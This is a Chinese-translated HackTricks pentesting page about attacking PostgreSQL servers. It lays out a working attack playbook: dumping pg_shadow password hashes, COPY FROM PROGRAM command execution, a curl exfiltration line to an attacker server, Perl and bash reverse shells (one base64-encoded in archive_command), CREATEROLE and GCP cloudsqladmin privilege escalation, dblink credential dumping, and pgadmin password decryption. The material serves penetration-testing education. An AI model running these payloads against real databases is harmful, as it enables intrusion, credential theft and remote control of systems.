hacktricks/network-services-pentesting/pentesting-postgresql.md

40 KiB
Raw Blame History

5432,5433 - 渗透测试Postgresql


使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

PostgreSQL是一个开源的面向对象的关系型数据库系统使用并扩展了SQL语言。

**默认端口:**5432如果此端口已被使用PostgreSQL似乎会使用下一个未使用的端口可能是5433

PORT     STATE SERVICE
5432/tcp open  pgsql

连接和基本枚举

Connect to PostgreSQL

连接到PostgreSQL

To connect to a PostgreSQL database, you can use the psql command-line tool or any PostgreSQL client application. The psql tool is commonly used and comes pre-installed with most PostgreSQL installations.

要连接到PostgreSQL数据库可以使用psql命令行工具或任何PostgreSQL客户端应用程序。psql工具通常被广泛使用并且在大多数PostgreSQL安装中预先安装。

To connect to a PostgreSQL database using psql, use the following command:

使用psql连接到PostgreSQL数据库使用以下命令

psql -h <host> -p <port> -U <username> -d <database>

Replace <host> with the hostname or IP address of the PostgreSQL server, <port> with the port number (default is 5432), <username> with the username, and <database> with the name of the database you want to connect to.

<host>替换为PostgreSQL服务器的主机名或IP地址<port>替换为端口号默认为5432<username>替换为用户名,<database>替换为要连接的数据库的名称。

Basic Enumeration

基本枚举

Once connected to a PostgreSQL database, you can perform basic enumeration to gather information about the database and its objects.

连接到PostgreSQL数据库后可以执行基本枚举操作以收集有关数据库及其对象的信息。

List Databases

列出数据库

To list all the databases in the PostgreSQL server, use the following command:

要列出PostgreSQL服务器中的所有数据库请使用以下命令

\l

This command will display a list of databases along with their owner, size, and other details.

此命令将显示数据库列表以及其所有者、大小和其他详细信息。

List Tables

列出表

To list all the tables in a specific database, use the following command:

要列出特定数据库中的所有表,请使用以下命令:

\dt

This command will display a list of tables along with their schema and owner.

此命令将显示表列表以及其模式和所有者。

Describe Table

描述表

To describe the structure of a specific table, use the following command:

要描述特定表的结构,请使用以下命令:

\d <table_name>

Replace <table_name> with the name of the table you want to describe.

<table_name>替换为要描述的表的名称。

This command will display the columns, data types, constraints, and other details of the table.

此命令将显示表的列、数据类型、约束和其他详细信息。

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

{% hint style="warning" %} 如果运行 \list 命令,你发现一个名为 rdsadmin 的数据库,那么你就知道你在一个 AWS postgresql 数据库 中。 {% endhint %}

有关如何滥用 PostgreSQL 数据库的更多信息,请查看:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}

自动枚举

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

暴力破解

端口扫描

根据这项研究,当连接尝试失败时,dblink会抛出一个sqlclient_unable_to_establish_sqlconnection异常,其中包含错误的解释。以下是这些详细信息的示例。

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • 主机不可用

详细信息无法连接到服务器无法到达主机。服务器是否在主机“1.2.3.4”上运行并接受端口5678的TCP/IP连接

  • 端口已关闭
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • 端口是开放的
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

或者

DETAIL:  FATAL:  password authentication failed for user "name"
  • 端口是开放的或被过滤的
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

很遗憾在PL/pgSQL函数中似乎没有办法获取异常的详细信息。但是如果可以直接连接到PostgreSQL服务器就可以获取详细信息。如果无法直接从系统表中获取用户名和密码前一节中描述的字典攻击可能会成功。

特权枚举

角色

角色类型
rolsuper 角色具有超级用户特权
rolinherit 角色自动继承其所属角色的特权
rolcreaterole 角色可以创建更多角色
rolcreatedb 角色可以创建数据库
rolcanlogin 角色可以登录。也就是说,该角色可以作为初始会话授权标识符
rolreplication 角色是复制角色。复制角色可以启动复制连接并创建和删除复制槽。
rolconnlimit 对于可以登录的角色,设置该角色可以建立的并发连接的最大数量。-1表示无限制。
rolpassword 不是密码(始终显示为********
rolvaliduntil 密码过期时间仅用于密码身份验证如果没有过期则为null
rolbypassrls 角色绕过每个行级安全策略,请参阅第5.8节了解更多信息。
rolconfig 运行时配置变量的角色特定默认值
oid 角色的ID

有趣的组

  • 如果您是**pg_execute_server_program的成员,您可以执行**程序
  • 如果您是**pg_read_server_files的成员,您可以读取**文件
  • 如果您是**pg_write_server_files的成员,您可以写入**文件

{% hint style="info" %} 请注意在Postgres中用户角色相同的。这只取决于您如何使用它和是否允许其登录。 {% endhint %}

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

表格

In PostgreSQL, a table is a collection of related data organized in rows and columns. Each table has a name and consists of one or more columns, which define the data types and constraints for the data stored in the table. Tables are used to store and organize data in a structured manner.

在PostgreSQL中表格是以行和列组织的相关数据的集合。每个表格都有一个名称并由一个或多个列组成这些列定义了存储在表格中的数据的数据类型和约束。表格用于以结构化的方式存储和组织数据。

To create a table in PostgreSQL, you can use the CREATE TABLE statement followed by the table name and the column definitions. For example:

要在PostgreSQL中创建一个表格可以使用CREATE TABLE语句,后跟表格名称和列定义。例如:

CREATE TABLE employees (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    age INTEGER,
    salary DECIMAL(10, 2)
);

This creates a table named "employees" with four columns: "id", "name", "age", and "salary". The "id" column is defined as a serial data type, which automatically generates a unique value for each row. The "name" column is defined as a variable-length character string with a maximum length of 100 characters. The "age" column is defined as an integer, and the "salary" column is defined as a decimal number with a precision of 10 and a scale of 2.

这将创建一个名为"employees"的表格,包含四个列:"id"、"name"、"age"和"salary"。"id"列被定义为序列数据类型,它会自动生成每行的唯一值。"name"列被定义为最大长度为100个字符的可变长度字符字符串。"age"列被定义为整数,"salary"列被定义为精度为10、小数位数为2的十进制数。

Once a table is created, you can insert data into it using the INSERT INTO statement. For example:

创建表格后,可以使用INSERT INTO语句将数据插入其中。例如:

INSERT INTO employees (name, age, salary)
VALUES ('John Doe', 30, 5000.00);

This inserts a new row into the "employees" table with the specified values for the "name", "age", and "salary" columns.

这将在"employees"表格中插入一行新数据,该行的"name"、"age"和"salary"列具有指定的值。

To retrieve data from a table, you can use the SELECT statement. For example:

要从表格中检索数据,可以使用SELECT语句。例如:

SELECT * FROM employees;

This retrieves all rows and columns from the "employees" table.

这将从"employees"表格中检索所有行和列。

Tables can also have constraints, such as primary keys, foreign keys, unique constraints, and check constraints, which enforce data integrity and consistency. These constraints can be defined when creating the table or added later using the ALTER TABLE statement.

表格还可以具有约束,例如主键、外键、唯一约束和检查约束,用于强制数据的完整性和一致性。这些约束可以在创建表格时定义,也可以使用ALTER TABLE语句后期添加。

In addition to creating tables, PostgreSQL also provides various commands and functions for managing tables, such as ALTER TABLE, DROP TABLE, and TRUNCATE TABLE.

除了创建表格PostgreSQL还提供了各种用于管理表格的命令和函数例如ALTER TABLEDROP TABLETRUNCATE TABLE

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

函数

Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values.

在PostgreSQL中函数是一组命名的代码块可以通过调用它们的名称来执行。它们用于执行特定的任务并可以接受参数和返回值。

To create a function, you need to use the CREATE FUNCTION statement followed by the function name, input parameters (if any), return type, and the code block enclosed in BEGIN and END.

要创建一个函数,您需要使用CREATE FUNCTION语句,后面跟着函数名称、输入参数(如果有的话)、返回类型以及用BEGINEND括起来的代码块。

Here is an example of a simple function that calculates the square of a number:

下面是一个简单函数的示例,用于计算一个数的平方:

CREATE FUNCTION square(num INTEGER) RETURNS INTEGER AS $$
BEGIN
    RETURN num * num;
END;
$$ LANGUAGE plpgsql;

In this example, the function is named square and it accepts an integer parameter num. It returns the square of the input number.

在这个例子中,函数名为square,它接受一个整数参数num,并返回输入数字的平方。

To call a function, you simply use its name followed by the input parameters enclosed in parentheses. For example:

要调用一个函数,只需使用函数名,后面跟着用括号括起来的输入参数。例如:

SELECT square(5);

This will return the value 25, which is the square of 5.

这将返回值25,即5的平方。

Functions can also have output parameters, which allow them to return multiple values. To define an output parameter, you need to specify the OUT keyword before the parameter name.

函数还可以具有输出参数,允许它们返回多个值。要定义输出参数,需要在参数名称之前指定OUT关键字。

Here is an example of a function that calculates both the square and cube of a number:

下面是一个计算一个数的平方和立方的函数的示例:

CREATE FUNCTION square_and_cube(num INTEGER, OUT square_result INTEGER, OUT cube_result INTEGER) AS $$
BEGIN
    square_result := num * num;
    cube_result := num * num * num;
END;
$$ LANGUAGE plpgsql;

In this example, the function is named square_and_cube and it accepts an integer parameter num. It has two output parameters square_result and cube_result, which will store the square and cube of the input number, respectively.

在这个例子中,函数名为square_and_cube,它接受一个整数参数num。它有两个输出参数square_resultcube_result,分别存储输入数字的平方和立方。

To call this function and retrieve the output parameters, you can use the SELECT statement:

要调用这个函数并检索输出参数,可以使用SELECT语句:

SELECT square_and_cube(3);

This will return a single row with two columns: square_result and cube_result, containing the square and cube of the input number 3.

这将返回一个包含两列的单行:square_resultcube_result,分别包含输入数字3的平方和立方。

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

文件系统操作

读取目录和文件

从这个提交中,定义的**DEFAULT_ROLE_READ_SERVER_FILES组的成员(称为pg_read_server_files)和超级用户可以在任何路径上使用COPY**方法(查看genfile.c中的convert_and_check_filename

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

{% hint style="warning" %} 请记住,如果您不是超级用户但具有CREATEROLE权限,您可以将自己添加到该组中:

GRANT pg_read_server_files TO username;

更多信息 {% endhint %}

还有一些其他的postgres函数可以用来读取文件或列出目录。只有超级用户具有显式权限的用户可以使用它们:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

您可以在https://www.postgresql.org/docs/current/functions-admin.html中找到更多函数

简单的文件写入

只有超级用户和**pg_write_server_files**的成员才能使用copy命令来写入文件。

{% code overflow="wrap" %}

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

{% endcode %}

{% hint style="warning" %} 请记住,如果您不是超级用户但具有**CREATEROLE权限,您可以将自己添加到该组中:**

GRANT pg_write_server_files TO username;

更多信息 {% endhint %}

请记住COPY命令无法处理换行符因此即使您使用的是base64负载您也需要发送一行命令
这种技术的一个非常重要的限制是,copy命令无法用于写入二进制文件,因为它会修改一些二进制值

上传二进制文件

然而,还有其他技术可以上传大型二进制文件

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

Bug赏金提示注册Intigriti一个由黑客创建的高级Bug赏金平台!立即加入我们,访问https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

RCE远程命令执行

RCE到程序

9.3版本以来,只有超级用户和属于**pg_execute_server_program**组的成员才能使用copy命令进行RCE例如通过数据泄露

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

执行示例:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

{% hint style="warning" %} 请记住,如果您不是超级用户但具有**CREATEROLE权限,您可以将自己添加到该组中:**

GRANT pg_execute_server_program TO username;

更多信息 {% endhint %}

或者使用metasploit中的multi/postgres/postgres_copy_from_program_cmd_exec模块。有关此漏洞的更多信息在这里。尽管被报告为CVE-2019-9193但Postges宣布这是一个功能,不会修复

使用PostgreSQL语言进行RCE

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}

使用PostgreSQL扩展进行RCE

一旦你从之前的帖子中学会了如何上传二进制文件你可以尝试通过上传postgresql扩展并加载它来获得RCE

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

PostgreSQL配置文件RCE

Postgresql的配置文件是由运行数据库的postgres用户拥有写权限的,因此作为超级用户,您可以在文件系统中写入文件,从而可以覆盖此文件

使用ssl_passphrase_command进行RCE

配置文件具有一些有趣的属性可以导致RCE

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' 数据库私钥的路径
  • ssl_passphrase_command = '' 如果私钥文件受密码保护加密Postgresql将执行此属性中指定的命令
  • ssl_passphrase_command_supports_reload = off 如果此属性为on,则在执行pg_reload_conf()时,如果密钥受密码保护,将执行命令

然后,攻击者需要:

  1. 从服务器转储私钥
  2. 加密下载的私钥: rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  3. 覆盖
  4. 转储当前的postgresql配置
  5. 使用上述属性配置覆盖配置: ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"' ssl_passphrase_command_supports_reload = on
  6. 执行pg_reload_conf()

在测试中,我注意到这只有在私钥文件具有640权限,它是由root拥有并且由ssl-cert或postgres组拥有因此postgres用户可以读取它并且位于_/var/lib/postgresql/12/main_。

有关此技术的更多信息在这里

使用archive_command进行RCE

配置文件中可利用的另一个属性是archive_command

要使其工作,archive_mode设置必须为'on''always'。如果为真,则可以覆盖archive_command中的命令并通过WAL预写式日志操作强制执行它。

一般步骤如下:

  1. 检查是否启用了归档模式:SELECT current_setting('archive_mode')
  2. 使用有效载荷覆盖archive_command。例如反向shellarchive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. 重新加载配置:SELECT pg_reload_conf()
  4. 强制运行WAL操作这将调用归档命令SELECT pg_switch_wal()或某些Postgres版本的SELECT pg_switch_xlog()

有关此配置和WAL的更多信息在这里

Postgres权限提升

CREATEROLE权限提升

授权

根据文档具有**CREATEROLE权限的角色可以授予或撤销任何不是超级用户的角色**的成员资格。

因此,如果您拥有**CREATEROLE权限,您可以授予自己访问其他角色**(不是超级用户)的权限,这可以使您能够读取和写入文件以及执行命令:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

修改密码

具有此角色的用户还可以更改其他非超级用户的密码:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

提升为超级用户

很常见的情况是,本地用户可以在 PostgreSQL 中无需提供任何密码就登录。因此,一旦你获得了执行代码的权限,你可以滥用这些权限来获取**SUPERUSER**角色:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

{% hint style="info" %} 这通常是由于**pg_hba.conf**文件中的以下行导致的:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

{% endhint %}

ALTER TABLE提权

这篇文章解释了如何通过滥用授予用户的ALTER TABLE权限在Postgres GCP中进行提权

当您尝试将另一个用户设置为表的所有者时,应该会出现错误阻止此操作但显然GCP允许非超级用户postgres用户进行此操作

结合这个想法和当在具有索引函数的表上执行INSERT/UPDATE/ANALYZE命令时函数将作为命令的一部分以表所有者的权限调用。可以创建一个带有函数的索引,并将所有者权限授予超级用户然后使用恶意函数对表进行ANALYZE该函数将能够执行命令因为它使用所有者的权限。

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

漏洞利用

  1. 创建一个新表。
  2. 向表中插入一些虚拟内容,以便索引函数有可操作的内容。
  3. 在表上创建一个恶意的索引函数(包含我们的代码执行载荷)。
  4. 将表的所有者更改为 cloudsqladminGCP 的超级用户角色,仅由 Cloud SQL 用于维护和管理数据库。
  5. 对表进行 ANALYZE 操作,强制 PostgreSQL 引擎切换到表的所有者cloudsqladmin的用户上下文并使用 cloudsqladmin 权限调用恶意索引函数,从而执行我们之前没有权限执行的 shell 命令。

在 PostgreSQL 中,这个流程大致如下:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

在执行利用SQL查询之后shell_commands_results表中包含了执行代码的输出结果:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

本地登录

一些配置错误的PostgreSQL实例可能允许任何本地用户登录可以使用**dblink函数**从127.0.0.1本地登录:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

{% hint style="warning" %} 请注意,为了使上述查询工作,需要存在函数 dblink。如果不存在,您可以尝试使用以下命令创建它:

CREATE EXTENSION dblink;

{% endhint %}

如果你拥有一个权限更高的用户的密码但该用户不允许从外部IP登录你可以使用以下函数以该用户的身份执行查询

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

可以使用以下方法来检查该函数是否存在:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

具有 SECURITY DEFINER 的自定义定义函数

这篇文章渗透测试人员能够在由IBM提供的postgres实例中提升权限因为他们发现了具有 SECURITY DEFINER 标志的这个函数

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

正如文档中所解释的,具有SECURITY DEFINER的函数拥有它的用户的权限执行。因此,如果函数容易受到SQL注入攻击,或者使用由攻击者控制的参数执行一些特权操作,则可以滥用该函数来提升在postgres中的权限

在上述代码的第4行中您可以看到该函数具有SECURITY DEFINER标志。

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

然后执行命令

使用PL/pgSQL进行密码暴力破解

作为一个功能齐全的编程语言PL/pgSQL比SQL具有更多的过程控制能力包括使用循环和其他控制结构的能力。SQL语句和触发器可以调用使用PL/pgSQL语言创建的函数。
您可以滥用这种语言来要求PostgreSQL对用户凭据进行密码暴力破解。

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

日志记录

postgresql.conf 文件中,您可以通过更改以下内容来启用 PostgreSQL 日志记录:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

然后,重新启动服务

pgadmin

pgadmin 是用于 PostgreSQL 的管理和开发平台。
您可以在 pgadmin4.db 文件中找到 密码
您可以使用脚本中的 decrypt 函数对其进行解密:https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

客户端认证由一个名为 pg_hba.conf 的配置文件控制。该文件包含一组记录。每个记录可以有以下七种格式之一:

每个记录指定一个连接类型,一个客户端 IP 地址范围(如果对于连接类型有关),一个数据库名称,一个用户名,以及用于匹配这些参数的连接的认证方法。选择与连接类型、客户端地址、请求的数据库和用户名匹配的第一个记录用于执行认证。没有“逐级”或“备份”:如果选择了一个记录并且认证失败,后续的记录将不被考虑。如果没有记录匹配,则拒绝访问。
基于密码的认证方法有 md5cryptpassword。这些方法的操作方式类似,只是密码在连接中发送的方式不同:分别是 MD5 哈希、crypt 加密和明文。一个限制是 crypt 方法不能与在 pg_authid 中加密的密码一起使用。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


使用 Trickest 可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}